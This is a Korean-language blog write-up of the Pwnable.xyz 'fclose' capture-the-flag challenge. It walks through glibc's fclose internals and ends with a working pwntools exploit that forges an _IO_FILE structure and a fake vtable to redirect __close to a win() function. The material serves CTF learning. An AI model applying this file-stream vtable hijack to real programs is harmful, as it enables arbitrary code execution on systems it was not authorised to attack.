tmxklab
[Pwnable.xyz] fclose 본문
1. 문제
nc svc.pwnable.xyz 30018
1) mitigation 확인
2) 문제 확인
인사했는데 안받아줬다
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
printf("> ");
read(0, &input, 0x404uLL);
fclose(&input);
return 0;
}
- read를 통해 input에 0x404byte만큼 입력 값을 받음
- fclose(input)
전역변수)
- input : 0x601260
2. 접근방법
fsop(file stream oriented programming)를 통해 익스
fclose에 파라미터로 들어가는 input변수에 값을 작성할 수 있으므로 _IO_FILE구조체에 맞춰 fclose루틴내에 vtable주소를 변조하여 win함수로 작성한다.
fclose루틴 내에 vtable을 참조하는 함수가 2개가 존재
① _IO_new_file_close_it() → _IO_SYSCLOSE → _IO_file_close()(vtable→__close)
② _IO_FINISH → _IO_new_file_finish()(vtable→__finish)
이 중에서 나는 ①번의 vtable →__close를 변조하는 방법을 선택했다.
1) _IO_new_fclose() 확인
int
_IO_new_fclose (FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
...
...
return status;
}
먼저 fp의 flag값이 _IO_IS_FILEBUF(0x2000)으로 세팅되어 있으면 _IO_un_link()를 호출한 뒤 _IO_acquire_lock()을 호출하고 _IO_file_close_it()을 호출한다.
목표 : _IO_file_close_it() 호출
2) _IO_new_file_close_it()
int
_IO_new_file_close_it (FILE *fp)
{
int write_status;
if (!_IO_file_is_open (fp))
return EOF;
if ((fp->_flags & _IO_NO_WRITES) == 0
&& (fp->_flags & _IO_CURRENTLY_PUTTING) != 0)
write_status = _IO_do_flush (fp);
else
write_status = 0;
_IO_unsave_markers (fp);
int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
? _IO_SYSCLOSE (fp) : 0);
...
}
libc_hidden_ver (_IO_new_file_close_it, _IO_file_close_it)
마지막 삼항 연산에서 fp→_flags2가 _IO_FLAGS2_NOCLOSE로 세팅안되어 있으면 _IO_SYSCLOSE(fp)를 호출하고 여기서 fp의 vtable을 이용하여 호출한다.
목표 : _IO_SYSCLOSE 호출
3. 풀이
여기서부터 디버깅을 하면서 fp에 어떻게 값을 세팅해줘야하는지 확인해보자
1) Debugging
1-1) _IO_new_fclose()
eax에는 input의 시작위치에 있는 값이 들어있으므로 _flags값을 가져온다.
ah와 0x20과 test연산을 진행하고 서로 동일한 값이면 and연산을 통해 1로 세팅되므로 jne에 의해 +272로 이동한다.
여기서 우리는 +272로 이동되야 한다.
_flags : 0xfbad 0000 + 0x2000
_IO_un_link()를 지나 다시 ah와 0x80과 test연산을 진행한다. 여기서 jne를 통해서 +374로 분기되지 않으면(노란색 박스) 밑에 input+0x88을 가져와서 r8과 cmp연산을 한다. input+0x88은 _IO_FILE 구조체에서 _lock멤버 변수위치로 쓰기 권한이 있는 주소 값을 넣어야 한다.(그래서 이 부분을 우회해줄 거임)
_flags : 0xfbad 0000 + 0x2000 + 0x8000
그러면 최종적으로 _IO_new_file_close_it()을 호출한다.
1-2) _IO_new_file_close_it()
쭉 진행되다가 rbx(input)+0x84에 있는 값을 가져와 0x20과 test연산을 진행하고 je연산을 통해 분기하는데 우리의 목표로 가기 위해서는 +272로 분기해야 한다.
rbx(input)+0x74는 _IO_FILE 구조체의 _flags2멤버 변수위치로 0x20과 test연산(and연산)을 진행해서 0이면 ZF플래그로 세팅되서 분기된다.
그래서 딱히 안건드려도 된다. ㅋ
그리고 드디어 우리가 원하는 부분을 볼 수 있다!! rbx(input)+0xd8은 _IO_FILE_plus구조체의 vtable멤버변수이다.
결국 vtable에 있는 주소를 가져와서 rax에 세팅한 후 vtable에 있는 함수 포인터들 중에 offset 0x88만큼 떨어져 있는 값을 가져와서 호출한다. 그렇다. 이 부분이 바로 _IO_SYSCLOSE 부분이다.
이렇게 잘 적절하게 작성해주면된다. 그러면 __close에 해당하는 win()를 호출한당 ㅎㅎㅎ
2) 익스코드
from pwn import *
#context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30018)
e = ELF("./challenge")
#gdb.attach(p)
input_addr = 0x601260
win_addr = e.symbols['win']
payload = p64(0xfbad2000+0x8000) # _flags = 0xfbad0000 + 0x2000 + 0x8000
payload += (0x88 - len(payload))/8*p64(0) #
payload += p64(win_addr) # input + 0x88 : win_addr
payload += (0xd8 - len(payload))/8*p64(0)
payload += p64(input_addr) # input + 0xd8 : input_addr
p.sendafter("> ", payload)
p.interactive()
3) 실행결과
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] bookmark (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] rwsr (0) | 2020.09.09 |
[Pwnable.xyz] message (0) | 2020.09.09 |
[Pwnable.xyz] UAF (0) | 2020.09.09 |
[Pwnable.xyz] BabyVM (0) | 2020.06.23 |